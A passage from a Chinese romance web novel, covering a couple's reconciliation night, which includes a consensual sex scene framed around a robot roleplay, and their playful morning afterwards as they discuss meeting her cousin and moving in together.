小初的嘴角轻轻牵动一抹坏笑,故意气他,“那还能怎么办,对我这样的完美主义,只好换个男朋友了呗。” “这么无情?”余萧弋将身体向下沉了沉,不客气地让她感受到自己的侵蚀,“但是没用的,我会一直纠缠你的,就像野生的藤蔓,等你发现的时候,身上已经布满我的身影了。” 小初感受到腰上他渐渐加重的手掌力道,心底的坏不受控制地流淌出来,下一秒,手臂已经服从她的意志攀住了他的脖颈,在他反应过来之前,她的唇已经贴了上去,轻轻咬住了他的喉结,在破坏和珍惜之间,她果断选择了前者。 随着一声情不自禁的闷哼从他唇齿间溢出,那里已经被她留下了一个独属于她的印记。 今晚的她好像哪里不一样了,余萧弋完全没想到她会这么做,喉结的滚动已经不受控制,身体深处的颤栗更是不断顺着脊背攀升上来,很快就汇聚在她唇印的地方燃起了无法熄灭的火焰。 暴雨来临之前的大气层,是去驱不散的晦暗,除了化成降水落到大地上,似乎已经没有别的方法可以让天空再次变澄澈了。 小初仍在执着地抱着他亲,从喉结到下颌再到脸颊和耳畔,睫毛颤如蝶翼,却始终没有闭上眼睛,似乎很享受将他拉扯进失控的深渊的过程,并无比希望他将所有的一切都毫无保留地展现给她看。 引诱的意味很明显,又温柔得要命。 这样的她很陌生,也很特别,有种他没见过的危险和蛊惑。 余萧弋已经不知道该作何反应,怔愣之际,她的吻已经流连到了他的唇上,先是试探性的舌尖触碰,很快就演变成了更为炽烈的吮吸和撕咬,力道有点野蛮,让他有点痛,像是施舍又像是惩罚,在清醒和沉迷之间的交织中,很快,他就堕入了迷蒙中。 空气突然变得很热,额头上的汗开始蒸腾凝结,又不小心滴落在她的脸上,很快,两人的唇舌相触的地方就已经湿漉漉的一片,最后,也说不上是谁在用力地吞吃谁了,口水和汗水混在一起,是微微的咸和让人拒绝不了的涩。 “嗯?今天怎么了?”他很想知道,她此刻到底是怎么想的,到底清不清醒。 小初不答,又沉浸地亲了他一会儿才停下来,手指仍迷恋地插在他的发间,哑着声问他:“这半个月为什么不给我打电话?” 余萧弋眼睫一跳,突然有种清算才正式开始的感觉。 ——不打电话不是因为我们在吵架分手吗?还是我提的,你让我怎么开的了口,我也有尊严的好不好。 “你知不知道我这半个月有多想你?”小初再次贴上去,眼神几分迷离几分天真的残忍,“所以,你是真的想过跟我分手。” 余萧弋的思维有些滞涩,根本说不出话了。 “你怎么敢?”小初的声音逐渐沉静下来,倔强地探入他的唇瓣,“明明做错事的人是你。” “是我错了。”余萧弋有些撑不住了,腰部的力量彻底倾泻下去,那个紧密贴合的感觉让两个人的身体都不自觉地颤了颤。 “那你这半个月都在做什么?” “想你,上班,想你,上班。除此之外,睡不着的时候都在看史密斯给你布置的那篇论文,想着你之前说的时间恐怕来不及,就自作主张帮你准备了一份作业,谁知再次弄巧成拙,又把你得罪了一遍。”他垂了垂嘴角,“我是不是很笨。” 他的眉眼实在好看,小初心动至极,只剩下语气还尽力维持着矜持,“就是笨。” “那怎么办?”余萧弋目光微微下移,落在她的锁骨上,“我记得的,你是个智性恋。” “那就拿别的代偿吧。”小初挑了挑眉,神色暧昧。 余萧弋心领神会,轻轻俯下身去,鼻尖和她的碰了碰,“拿什么代偿?” “今晚给我陪睡怎么样?” 她的声音温柔缠绵,听得余萧弋的心旌一阵摇荡,呼吸再次被点燃,“好。” 小初慧黠一笑,指了指了旁边的柜子,“那你去拿多一个枕头过来吧,刚刚就跟你说了的,我很累了,一句话都不想多说了。今天我哥不来,我论文答辩结束就回来休息了,而且是直接睡个三天三夜那种。” 余萧弋没想到她所说的陪睡竟然是这个陪睡,一时愣住。 不得不说,她是真的很有掌控人情绪的天赋。然后他才品出味道来,原来这场暧昧拉扯真正属于惩罚的部分在这等着他呢。 就说嘛,她怎么突然这么主动,是想让他体会一下从天堂到地域的落差吗?余珺彦还真没说错,这种落差,他的确承受不住。 都这样了,她是从什么判断出他还能停下来的。 “怎么了?”小初一脸无辜地看着他,嘴角的笑一闪而过,“不然我帮你拿?” “Babe。”他在她的脸颊上亲了亲,把炙热的呼吸喷薄在她的耳朵上,眼神里都是祈求,“别这样对我。” “别怎样?比起你对我做的,我简直不知道有多仁慈。”小初漫不经心地绕着他领带的边缘,“再说,你都还没洗澡呢。” 他再次贴近她,把领口敞开给她,“谁说的,你闻,我身上是不是你你最喜欢的那款浴液的味道?” 小初这才意识到什么,眼底的荒诞蔓延开来,“你洗过澡来的?” “嗯。” “那为什么又穿成这样?” “你说呢?”他将她的手按在她头顶并和她十指相扣,瞳孔的颜色逐渐深邃下来,“现在知道我有多爱你了吧,哪怕分手,都恨不得向你交付全部。” “你不要脸。”小初没好气地瞪他,“第一次见把索求包装得这么冠冕堂皇的。” “没有冠冕堂皇。”他压下来,用舌尖勾住她,“就是来讨好你的,只希望你看在我还能让你生理性喜欢的份上再和我试一次。” 他这么直白而坦诚地将这句话说出来,反而让小初有些不知所措。 讨好她。 他何必将自己的姿态放得这么低? 他们之间,不一直都是互生爱慕,倾心相惜的吗,又何谈谁讨好谁? 他亲得急切而热烈,小初感觉自己正在落入某个情欲的网中,每一寸皮肤传来的都是被电击和灼烧的感觉,“真的吗?”她微微别了别头,“那,要不你让我体验一下你说的,人形玩具自己躲在柜子里剧情?” “嗯?”余萧弋忽地停住动作,很怀疑自己幻听了。 他是很贪心,想要她心底所有不能对外人说的秘密,但……这进度是不是有点太快了。 接下来他又不能时时刻刻陪在她身边,就这么把她带坏了,后面要怎么控场啊? “就……”小初再次指了指柜子,皮肤泛着诱人的玫瑰色,“你躲到柜子里去,自己把柜门关上。” “……” “不可以吗?” 余萧弋的脑子已经乱了。 她的眼神太干净,干净到稍微对她做点什么他都会不自觉产生负罪感,以至于这样的话从她口中说出来,就带着一种很天然,很原始的欲,让他突然意识到自己还穿着文明的外衣,羞耻和残忍的感觉袭来,他终于体会到了什么是疼。 第一次极致拥有她时都没有体会过的……疼。 像被什么东西包裹着,并不断在收紧。 “好。”他的理智瞬间土崩瓦解,下一秒,人已经从她身上一跃而起,并跳下了地。 床与柜子之间是一张厚厚的波西米亚风格的地毯。 触感温润。 他深呼吸了一下,佯装镇定地回头看了看床上的女朋友,直至得到她鼓励的眼神,才一把将柜门拉开。 里面的空间很大,除了一条叠得整整齐齐的被子和一个备用的记忆棉枕头之外,什么都没有。 “空的?”他愣了愣,唇角浮现出一丝若有似无的笑,“这该不会是特意给我准备的吧?” “你想得美。”小初嗔他一眼,也从床上起了身,“里面原来的衣服被我抱到另一间卧室的床上去了,还没来得及整理呢。”她轻轻推了推他,像个carry全场的戏剧导演,“愣着干什么,请吧余学长。” 余萧弋捏了捏她的脸,到底还是顺了她的意,侧身坐到了那条被子上。 小初的瞳孔顿时收缩了一下。 “关上门。”她再次指挥。 余萧弋笑:“那你等我两分钟,我说好了你再开门。” 小初比了个OK的手势,人已跪坐到地毯上。 随着门一寸寸被合上,切断两人对视的目光,她感觉自己心底某种奢念已经膨胀到了极致,逐渐令她难以自持。 里面传来布料摩擦的声音。 小初的神经一跳,马上提醒他:“喂,你不许把衣服都脱了啊!” “小姐。”里面的人笑出声,调侃道:“我在你心里就那么没格调吗?” 小初咬了咬唇,没应声。 那个窸窸窣窣的声音终于停息了下来。 “好了吗?”她紧张地吞了吞口水。 “嗯。” 小初不知道他刚刚到底做了什么,身体微微打着颤,一阵心慌。 柜门底部传来的滑轨摩擦声在此刻很有种些惊心动魄的氛围感,仿佛一场结局未知的电影正在拉开序幕。 房间里只开了盏暖黄色调的床头灯,光线有些昏暗。随着光影移动,男演员轮廓深邃的一张脸终于进入镜头,很快,画面就像被谁按下暂停键,时间定格。 和纸片人不一样,余萧弋似乎从来都不是那种需要用冷峻和锋利这样的字样来堆砌上位者姿态的男人。 相反,在小初眼里,他总是温柔的,矜持的,高智感十足却又极具情商的,一举一动无不散发着他来自豪门的良好教养。 从来和冷字都不沾边。 可此刻,他却好像真的化身成了机器人,无论是优越的头颅还是折叠度极高的五官,或是通身流畅的肌肉线条,都给人一种极强的建模感。 每一组数据,都是完美配比。 小初这才明白过来,刚刚那个布料摩擦的声音,其实是他在脱外套,而现在的他,是白衬衫和窄版领带的极致诱惑。 最要命的是,他竟然还戴了她送他的那两条皮革袖带,在泛着温润光泽的金属扣下,他手臂上的肌肉绷直着,视觉冲击力直接拉满。 只一眼,她的意志力就彻底融化成了绵软而黏腻的奶油,流淌得到处都是。 救命。 情感和欲望在体内横冲直撞着,很快就将她裹挟其中,变成了风中一片摇摇欲坠的花瓣,只剩下任君采劼的命运了。 一瞬间,很多之前或许还模糊的自我意识的投射都变得无比清晰。 关于她在亲密关系中最想得到满足的浅薄的,低级的,甚至是难以启齿的渴望终于不再需要用言语来解释。 她不知道他是怎么读懂她掩藏至深的关于心理层面的快.感获取情境的,但显然,他确实懂了。 小初终于承受不住这样直白的对视,心跳越来越无法控制,只能回过身去,将自己的脸整个都埋在了床边的被子里,根本没法思考和呼吸了。 “余萧弋,你怎么能这么对我?”她瓮声瓮气的,很难为情,又有点想哭。 余萧弋有些好笑地从背后看着她,仍保持着刚刚那个姿势,“怎么了方小姐,是你提出来要玩的,怎么还玩不起了?” “你这样,万一将来我们俩没走到一起,我还怎么嫁别人啊!” “你再说一遍?除了我你还想嫁给谁?”余萧弋的声音有些冷,又隐隐透着一种难以名状的诱惑和吸引。 “不是你想得那样!”小初倏地回过头去,目光灼灼,“我是说,我大概这辈子都忘不了现在这个画面了,你一定是故意的!” 余萧弋愣了片刻,才明白她在说什么,一股无名的冲动呼啸而至,大脑的指令卡顿了两秒,手上的动作却丝毫未犹豫,再低头,她的人就已经被他揽着腰捞进了怀里。 衣柜里的空间对两个人来说无比狭小和逼仄,却又有种幽闭空间才能带来的私密感,仿佛整个世界就只剩下了他和她,不再有时空的概念也不会被谁窥视,很适合倾诉一点不能见光的秘密。 “还有这个呢。”余萧弋扬了扬左手手腕,让她很早之前送他的那条黑色编织手绳进入她的视线,轻声诱哄道:“喜欢吗?” 小初根本不敢看他的眼睛了,连睫毛都在不安地眨,“你坏。” “哪里坏。”他将她又往腿上抱了抱,右手掌心扣住她的后脑强制她看向自己,四目相对的瞬间,唇已经贴上去,亲了一会儿才含糊说道:“我只是想取悦你而已,你看不出来吗?” 柜子里的空间实在太安静,安静到仿佛空气都停止了流动,也正因为如此,衬得唇舌交缠和口水交融的声音格外清晰,清晰到根本不用看就知道正在发生什么事。 他们吃得很沉迷,有一瞬间,小初甚至联想起了狗狗舔水喝的声音,又像是东南亚的木质阁楼被笼罩在暴雨中感觉,到处都是湿漉漉的。 小初被他亲得呼吸不畅,几次想停下来换气,却又都被他追着缠上来,根本不给她清醒思考的时间。 身下的被子已经被她抓乱了。 衣摆是什么时候被推到锁骨的位置更是完全没有印象了,小初很怀疑柜子里的氧气已经被他们耗尽了,不然怎么可能只是亲亲脑子就这么晕。 “哥哥,停一下。”她别开头去,缺氧的鱼一样大口呼吸了一下柜子外面的新鲜空气,才将那股几乎要将她淹没的酥麻感觉压下去。 “怎么了?”余萧弋的声音已经哑到不行,“这就……玩够了?哪里不舒服吗?” 她调整了一下姿势,却根本没意识到这么做只会让事态更加失控,声音逐渐低不可闻,“我又没想这样,我只是想看看你描述的那个和柜子有关的情境而已好不好。” 余萧弋的头皮差点因为她的动作炸开,一把按住她的腰,“Babe别乱动。” 小初感受到了什么,顿时一动不敢动了。 若不是残存的意志在关键时刻发挥了作用,他们肯定要一块掉到深渊之下去了。 两人都平息了一会儿,直至那只脚安全地从悬崖边缘收回来。 余萧弋吻了吻她的侧脸,笑得意味深长,“不想这样,那你倒是说说,假如有天你打开柜子,里面真的有个仿生的我,你脑子里第一个想法是什么?” “……”他这话引导的成分未免也太大了吧。 小初抬眸看了看他,眉心挑了挑,偏不顺着他的意思说,“我想的肯定是这家伙是哪里的高科技啊,是怎么突破恐怖谷效应的,芯片的运算,处理任务和控制存储的能力怎么样,会不会卡顿,够不够智能,交互体验如何,能理解人类复杂的情感吗?充电方式是什么,续航能力又怎么样,如果没电了,自己会去充电吗?可以量产吗?市场需求规模大不大,利润空间怎么样?” “……”余萧弋咬了咬唇,被她的可爱逗笑,“小方总果然是专业的,一点人类的低级欲望都没有。 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“我不要。”余萧弋拒绝得很干脆,“机器人不会老,但我会,万一哪天你爱上了他,不要我了怎么办?” “怎么会!”小初极力解释,“他只是个AI,AI怎么可能取代人类,他最多只能复制人类通过代际传递保留下来的知识体系,怎么可能完全复制人类的思想和灵魂?再说,我只爱你一个人,谁都不可能替代你,包括和你长着同一张脸的任何其他人。因为我喜欢的,从来都不止是你的脸。” 她突然贴近他,在他唇上一吻,“我爱你,余萧弋。以后我们都不吵架了好不好,就算吵架也不许再提分手,无论谁。我真的承受不了,这半个月我都快死了。” 余萧弋没想到她会突然说这个,一时竟愣住了。 如果没记错,她好像还是第一次在清醒的状态下这么认真地说爱他。 “你是不是在哄我?”他仍有些不敢相信,“快死了?我看你状态好得很,每天早晨都有在图书馆楼下的餐厅点一杯BB鸳鸯。” “什么东西?”小初眯了眯眸子,回过神来,“你跟踪我?” “什么跟踪!”余萧弋有些无奈,语气却是漫不经心的,“我只是太想你了,隔着很远看你一眼都不行吗?怎么,你之前不是说BB鸳鸯最难喝吗?现在怎么突然这么爱?” “你好烦。”小初捧过他的脸,没好气地再次吻下去,直吻到他喘息声变得很重才停下来,“我那是爱BB鸳鸯吗,我那不是在爱BB你吗,你这都看不懂?以后再敢鬼鬼祟祟从远处看我你试试!”她越说越气,“不行,你今天必须得答应把你的建模授权给我。” 说完,她就从他怀里起了身,光着脚跑去了卫生间。 没一会儿,手里就拿了只眼线笔过来。 余萧弋不明所以,向后躲了躲,“你要干嘛?我不化妆。” 小初挑了挑眉,再次轻轻跪坐下去,一把扯过他的衣领,语气几位暧昧,“我要你,哥哥,给我好不好?” 余萧弋注视着她。 一种混合着生理和心理双重饥渴的滋味涌了上来。 “什么意思?” “就是……”她松了松他的领带,又动作轻柔地解开衬衫上面的两粒扣子,“这个意思。” 她俯下身去。 下一秒,余萧弋锁骨下方就传来了眼线笔微凉游走的触感。 她写得很认真。 他低下头去,越过她长长的棕榈叶子一般的睫毛,他看见她在上面写的是:【Chu001】。 她的字写得很固然很潇洒,但这也不能掩饰这件事本身的荒谬。 余萧弋都快被她气笑了。 “好啦,你已经被我标记了。”小初收起眼线笔,“从现在开始,你的版权就彻底是我的了,以后要乖乖听话,知道吗?” “001?所以后面还有002到10000吗?”余萧弋微不可察地挑了挑眉,试图理解她的脑回路。 “我说的是我的【初】系列机器人好不好!”小初笑得明媚又动人,“放心好了,001号将永远只属于我一个人,且不会走出我的实验室,哥哥……”她的神色突如其来的认真,“我要把你最好看的样子留下来,每天见证我的进步和成长。” 余萧弋思考了一下,眼底的温柔蔓延开来,“这该不会就是你独特的浪漫吧?” 小初得意非凡,“怎样,不浪漫吗?” “嗯,浪漫。”余萧弋抱着柜子里的枕头膝行了半步,停在小初面前,将她笼在自己的身影里,声音轻得似乎带着某种蛊惑,“不过,有些事,我还是希望由我本人来。” 小初眨了眨眼,好像没太明白他在说什么。 “你喜欢这个,是不是?”余萧弋将颈间已经很松垮的领带扯了下来,在她面前晃了晃。 小初的心脏几乎没跳出来,不自觉向后退了退,“你,要做什么?” 他并未解释,只是一边笑着看她,一边缓缓地将它缓缓缠到了他自己的左手手腕上。 小初眼睫一跳,差点因为这个画面流鼻血。 她猜错了他。 他却没有。 他好像比她想象得还要更懂她。 “方小姐,你刚刚在想什么?”余萧弋笑得戏谑,“是不是又猜错我了?那你现在是遗憾呢,还是终于得偿所愿了?” 他咬住领带的一段,在手腕上系了死结。 小初只是抿着唇,并不答。 直至他系好那个结她才想起来,“忘了跟你说,家里没有那个东西。” “我带了。”余萧弋将裤子口袋里的小盒子递到她面前,“6只装的,应该够了吧?” 小初后知后觉,没好气看向他,“余萧弋,你来女朋友家谈分手,还带着这个东西?你还是人吗?” “谁说我是来谈分手的,都说了我是来取悦你的。” “谁要你……”小初的话才说了一半,身体就已经被他翻转了过去,以背对着他的姿势伏在了床上。 两人已经离得极近,完全贴合在了一起。 “你。”他贴在她耳边轻哄道。 “什么?” “我说你要我,我知道。Babe,我们分不开的,哪怕只因为这件事,也分不开。” 小初才不听他的鬼话,耳垂红成了玛瑙,“你闭嘴。” 她听见背后传来他一声轻笑。 很快,空气里就都是两人乱了节奏的喘息声和黏腻潮湿的水流声。 裤子堆叠到脚踝的时候,她已经抖得很可怜。 她从未以这个角度感受过他的存在,没来由地担心。 “别怕,我说过,这辈子就让你疼那一次,所以相信我,没事的。”余萧弋的吻极具耐心,带着一种无法用语言解释的仪式感,像是在拆一件上帝的礼物。 一开始很慢。 直至愉悦感一层一层如同潮汐引发的海浪一样翻涌蔓延上来,再冲刷掉上一秒的一切,将故事重新书写和存档。 越来越快。 感受却异常清晰。 关于占有,关于爱,关于连接,和灵魂的喟叹。 他说得没错,因为生理性喜欢,吻都是甜的。 除了甜,还似乎带着一种令人堕落的兴奋和不可遏制的渴望,像是加了什么他们不知道的东西,只是小小的计量,就已足够令人尽兴。 最后的最后,是她一直在喊,哥哥,爱,很多字已模糊不清,从被吮得殷红的唇瓣里溢出来,充斥到每一寸空间。 两人后来都已经不记得做了几次。 中间还迷迷糊糊睡了几觉,又洗了几次澡。 不洗不行了。 今天的他实在太疯,好几次故意弄在她的身体上,像是一种动物性的标记。 似乎只有看着她一点点被他弄脏,才会给他一种她正在并且永远会属于他的错觉。 真的不能再分一次手了。 如果真的像他说的要占有很多回才能覆盖掉一段伤害,分手两字很快就要变成另一种调情了。 她才不要。 103.第 103 章 第二天是工作日,可余萧弋醒来的时候,已经日上三竿。 这半个多月,或者说从看到余珺彦手机里那组照片开始,他的心就一直被一根无形的线牵着。 直到昨晚,那根线才算是彻底被剪断和清除了。 已经好久没睡得这么踏实和舒服了,难得的宁静时光让他无比贪恋,要不是惦记着狗狗和兔子还需要他照顾,他估计他能一直睡下去,就这么抱着她到地老天荒。 怀里的人还睡着。 眉心微蹙,睫毛时不时就不安地眨一下,像是只受伤初愈的小兽,哪怕在梦中,仍保持着对环境变化的敏感度和戒备心。 以至于他已经试了好几次,都还没有从床上成功离开,他感觉他的动作已经够轻了,每次却还是会被她环在他腰上的手臂感知到,紧紧圈住。 他突然意识到,她在害怕他离开。 一颗心瞬时柔软下来,他忍不住刮了刮她的鼻子。 她睡着的样子很乖,身上的白色纯棉睡裙有些凌乱,而这已经是她换过的第二条。裙摆处仔细看,还能看见干涸的不明水痕。 昨晚的他确实有点疯,弄脏她好几次,又抱她去洗,好像只有那样才能证明他们正深刻地彼此爱着,而她也将永远属于他一样。 半点不像平常的他。 而她顺从得简直让他心脏发紧,到最后彻底放松下来时,他感觉她的意识都混沌了,或许是困的,或许是别的原因,跟她说话也不答,喂水给她喝就乖乖张嘴喝下,然后就迷迷糊糊睡着了。 他发现,她只有在不太清醒的时候,才会无所顾忌地跟他展示她的脆弱,除此之外,她永远都会是那副全副武装的模样,哪怕天塌下来,也会拿嘴顶上去。 一个就被好好爱着长大的孩子,怎么会是这样的个性? 她到底在怕谁捕捉到她的脆弱?又必须让谁看到她的独立和坚强? 小初是被枕头下的手机振动声吵醒的,如果没记错,应该是十点的闹钟提醒她准备出门陪恩宇欧巴吃午饭的。 迷迷糊糊伸手按掉闹钟,一睁眼,却看见余萧弋正单手撑头用指尖绕她的发丝玩,吓得她立刻就用掌心捂住了自己的半张脸,只露出一双眼睛,声音闷闷的,“你怎么还在这?” “?”余萧弋满脸问号,“小姐,这么快就把昨晚的一切都否定掉了吗?” 小初红了脸,小声解释,“我的意思是你不要上班吗?都几点了?” 余萧弋笑着跳下地,“我是要去上班的,可你死死抱着我不放手,除了等你自然醒来,我又能怎么办?难道把你一起带到公司去吗?” “你少来。”他的话,小初一个字都不信,“你不会把我的手掰开吗?我能有多大力气?” “我舍不得。”余萧弋回过头来,笑得明朗而温柔,“你饿不饿?不如你约上表哥,我们出去吃好了。Enzo和港港昨晚睡前我添了食物和水,应该问题还不大,只是不知道他们适不适应陌生的环境,太长时间看不见我们会不会焦虑。” 小初一听,也赶紧跟着跳下了地。 看见他皱巴巴的裤子和衬衫,她又赶紧拉住他,“你就这么出去?万一曹旸进来……” 余萧弋一边系扣子一边瞥她,“你怕她看见我出现在这?” “当然不是!”小初有些着急,“是你的衣服,还有领带……”到这儿她才想起什么,跑到床边一把掀起被子,到处翻找,才终于在床垫和床头之间的缝隙里把那条丝绸质地的领带扯了出来。 已经惨不忍睹了。 余萧弋始终好整以暇地看着她,眼神里是他自己都没意识到的宠溺。 小初欲哭无泪:“这个贵不贵?” “还行吧。”余萧弋挑了挑眉,“你要重新给我买一条吗?” 小初想了想,语气有商有量的,“家里有好像有蒸汽熨烫机,不然我帮你把它熨平可以吗?” 余萧弋被她逗笑:“这么宜室宜家吗方小姐?” “这叫环保主义不浪费资源好不好。” 余萧弋揉了揉她的头发,“你跟我说实话,你用过熨烫机吗?知道它的开关朝哪个方向开,确定你自己不会被蒸汽烫到吗?” 小初一噎。 下一秒就扬起了下巴,学他平时的样子用指尖戳了戳他的额头,“你给我注意点你的态度,怎么跟人类未来杰出的人工智能工程师说话呢,熨烫机都是几个世纪之前的落后产品了,我会不知道它的开关朝哪个方向开?我甚至连你……” 小初的语速太快,等她自己意识到失言的时候,已经来不及了。 余萧弋坏笑着挑了挑眉,接话道:“你确实知道我余某人的开关从哪里开,而且技术很娴熟。” 见她耳朵都红了,他又慢悠悠地补充道:“我说的是情感开关。” 小初咬唇瞪他一眼,转身向客厅走去。 客厅里安安静静,并没有曹旸的声音。 她这才大胆了一些。一边走,还一边喊着Enzo和港港的名字。 可喊了好几声也没听到那个熟悉的啪嗒啪嗒的脚步声。 余萧弋缓缓跟在她后面,和她同一步调,视线在客厅中间几个随意敞开的行李箱上凝了几秒,唇角已不自觉抿紧。 就算再不舍,她也很快就要离开这里了。 而且不是他努力就可以留住的。 “怎么回事余萧弋?他们俩去哪里了?”小初一阵慌乱,“燃气灶下方的那个蒸箱把手是横向的,高度也是他们的爪子刚好能够到的。” “你要不考虑考虑是不是曹旸把他们抱走了呢?” “曹旸?”小初的脚步在厨房门口骤然收住。 与此同时蒸箱规规矩矩关着的画面也映入了她眼帘,他们果然不在厨房。 她回过神来,眼神逐渐蔓延出尴尬和懊恼,“完了,那她一定知道你在这里了。” 余萧弋垂眸看向她,“你这不还是怕她看见我吗?” “你不知道……”小初只好坦白,“我身边谁都不知道咱们俩分手的事,除了她。分手了还回头,丢脸死了。” “那刚好。”余萧弋牵过她的手,直直就往外走,“现在就去跟她重新介绍一下我自己。” 小初才不跟着他发疯,抽回自己的手,又实在忍不住笑,“也不怕被人当成神经病。” 少女的神情实在纯真可爱,余萧弋欣赏了几秒才说,“有我陪着,你不就不用一个人丢脸了。” 小初怔住。 他的情商真的和萧文然很像,一举一动都透着真诚,永远让人那么舒服。 可他是天生如此,还是后来在成长过程中被规训的呢? 一个长期为了对外保持美好的形象而无尽压抑自己人,内心真的快乐吗? 会寂寞吗? 会觉得谁都不值得他真心对待和靠近,只想维持最没有温度社交距离吗? 那她呢,算是他人生一个例外吗? “你爸妈……”小初斟酌了一下,才问出来,“他们知道吗?” 新年的时候她到底也没去他家里吃饭,想必萧文然和余韬韬都看出端倪了吧?尤其他们的宝贝儿子在短短半个多月的时间就肉眼可见消瘦了这么多,连气质都比之前多了一丝沉郁…… “应该不知道。”余萧弋不动声色转移了话题,调侃道:“Babe,你要不先帮我找支牙刷吧,没刷牙我都不好意思亲你。” “牙刷?”小初想了想,“大概是没有,不过我的电动牙刷应该有新的替换头,我先刷,刷完换给你好了。” 余萧弋双手插袋,歪着头笑,“没关系,就用你的也行,我不介意。” 小初不敢相信自己听到了什么,下一秒就满脸拒绝地捂住了他的嘴,“哥哥,这就有点超出了。” 说完,两人就都笑了。 一前一后进了卫生间,小初就把自己的束发带从毛巾架上取了下来,朝余萧弋勾勾手,“你低头,我帮你戴。” 余萧弋不明所以,但还是顺着她的意俯下身来,“为什么要戴这个?” “你头发太长了,洗脸会沾到水。”小初很细心地帮他把鬓角的头发也弄好,然后又觉得这样的他很可爱,忍不住拿过手机拍他。 不期拍着拍着他就凑过来翻转了手机摄像头,让她陪他拍了好多张笑闹的合影。 “还没问你呢。”他从后面抱着她把下巴枕在她的颈窝上,“为什么把头发剪了?” 小初的笑容瞬间凝住。 这个小心眼的男人,还记着这事呢。 是陈嘉言说的剪头发是为了忘记什么人刺激到他了吗? “嗯?” 见她不答,他又追着问了一遍。 “因为……”小初对着镜子微不可察地朝他眯了眯眸子,下一秒,就打开水龙头,侧身扬了一小捧水到他脸上,“洗你的脸吧,好奇心怎么那么重呢。” “……”余萧弋完全没有料到她会这样,完全愣住。 小初也愣住了。 不过她是因为被眼前这个难得的视觉盛宴震惊的。 他这个睫毛挂着水珠的样子怎么这么好看啊? “方太初……” 余萧弋咬咬牙,正要抬手抹掉脸上的水,手腕却被小初一把抓住,“你等下。” 摄像头被翻转成后置模式的速度太快,他还没反应过来什么情况,就已经被她手机里的连拍声控制住了耳膜,然后又听她自言自语道:“我就说这些美颜相机技术都不过关吧,你看它连你百分七十的美貌都没拍出来,整个轮廓都模糊了。” “……” 除了沉默,余萧弋不知道此刻他应该说些什么。 “我的【初】相机计划要赶紧提上日程了,或许等我回北京就可以马上开始了。” 小初收起手机,和神情复杂的余萧弋目光对上,才想起他刚刚关注的那个问题来,“你不要多想,我剪头发纯粹就是因为我不耐烦花时间吹它而已。” 余萧弋认真体会了一下,发现自己也没有想象中那么开心,“所以,我根本没那么重要是吧。” “……你别矫情可以吗,我早晨没吃饭真的没有力气收拾你。”小初用力捏了捏他的脸,弯了弯眼角做了个假笑的表情,“洗脸吧,乖。” 电动牙刷的声音很快响起。 余萧弋被她气笑的同时又觉得她可爱得实在有些过分,于是在他拿到牙刷控制权让自己的呼吸都染了她家水蜜桃牙膏味的第一时间,就把她按在卫生间的墙上亲了下去,直亲到她笑着求饶才停。 朴恩宇发消息过来说他早晨一个人出去逛了逛,中午可能要晚一会儿才能回来,让小初不要太早出门,刚好又给她多预留了一点化妆时间。 余萧弋坚持要回家换身衣服再去餐厅,说是必须要给她的家人留个好一点的印象。 小初不想他太紧张,劝道:“恩宇欧巴真的很好相处,你随意就好,他不会计较的。” “Babe,你仔细想想。”余萧弋在她面前掰着手指,“表哥是代表奶奶来的,奶奶的意见又会传达给你爸,我本来就已经很不被他待见了,现在好容易有个机会表现一下我自己,怎么能随便对待呢?” 小初愣住。 她倒是没想到那一层。 本来她还觉得大家都是年轻人,相处模式简单一点也没什么不好。 “好吧。”小初抿抿唇,承认他的周全,“可是要你耽误工作时间陪我家人,我还是觉得很过意不去。” 余萧弋呼吸一滞,学她说话,“方太初,我早晨没吃饭真的没有力气收拾你,尤其昨晚还……” 眼见他越说越离谱,小初赶紧打断他:“我去换衣服了。”转身前还不忘澄清,“还有,我爸从来没有不待见你,他只是现在还没有机会了解你而已,等了解了,一定会很欣赏你的,这一点你不相信你自己,还不相信我的眼光吗?” 余萧弋唇角的笑意漾起,“我当然是相信你的,走吧,陪你一起去换衣服。” 他这个急转弯小初属实没想到,瞬时红了脸,小小声的:“我换衣服你陪什么?” 他挑眉,“给你做服装助理。” 她睨他,“司马昭之心。” 他只是笑。 两人一块来到次卧。 她昨晚说的是真的,这边果然到处都是她还没来得及整理的衣服,其中至少大半他都没见她穿过,有些甚至吊牌还在,而且都是大牌,一看就不是她自己花钱买的。 因为他再清楚不过她的物欲有多低。若非如此他的危机感又怎么会那么强,把每个出现她身边的男人都视作假想敌。 她这样的样貌和出身,若不高高在上和傲慢一些,是真的会让很多人误会自己有机会的。 可她偏偏就钟爱朴素的装扮,身上的颜色永远那么几样,纯白,深蓝,要么就是黑和灰,要是再戴上那副无框的防蓝光眼镜,好了,简直就是个高智又纯真小甜甜。 尤其她待人又真诚,平常的笨人肯定是入不了她的眼的,但万一要是碰上个像余珺彦那样会算人心的呢? 会把她吃得死死的,然后为所欲为的。 一想到她在他身下的样子别人也可能看到,他就一阵心脏发紧。 像他一样爱她珍惜她的也就算了,要是心术不正算计她的钱又欺负她怎么办? 不行,他绝不能叫她被人欺负。 想到这,他实在没忍住,转过头去就在小初脸上亲了一口,语气很郑重,“我会保护好你的方太初。” 小初正对着床上一堆衣服犯难呢,被他突如其来的行为吓了一跳,只觉得莫名其妙,“你疯了啊余萧弋?” 余萧弋笑笑,“我大概是。” 小初不理他,叹口气,实在烦恼,“也不知我爸妈当初买这些衣服的时候是怎么想的,现在还要大费周章把它们运回北京去,简直浪费时间。” “那就别运了。” 小初愣住,“扔了?”然后她马上摆摆手,“不行,都挺贵的,再说这多不环保啊。算了,反正有阿姨帮忙,我也懒得操心了。” “扔了做什么,放我家就好了啊,反正……”他顿住,期待地看向她,“你总要偶尔来看看我的,对不对?” 小初的心蓦然一揪。 她一直在极力避免跟他聊这个东西,结果还是避不开。 “你家那么小,又放不下。”她声音很低。 “你回北京,我也不会住在那边了。春季学期我论文答辩一结束,就正式毕业了。” 余萧弋掏出手机,将图库点开给她看,“这是我名下的几套房子,地段,房型,面积和装修风格都不太一样,你看看你喜欢哪个,我找工人好好打扫一下,这两天我们就搬过去。” 我们。 小初的心被小小地牵动了一下。 “你愿意吗?”余萧弋目光深切。 小初咬了咬唇,抬眸看向他,“你有这条件为什么不在我们第一天认识的时候就拿出来?” 余萧弋被逗笑。 “好吧,我考虑一下。”小初把手机塞回给他,“不说这个,你先帮我选件衣服,我们得赶紧出门了。” 余萧弋笑着说好,又问她,“你都不趁机查查我手机吗?” “有什么可查的。”小初瞥他一眼,“若你余公子存了心想骗我,你可以有一万种方法不让我知道。” 余萧弋一怔。 突然发现她比她想象的还要聪明通透。 “所以,你要骗就骗得完美一点,一直骗下去好了。” 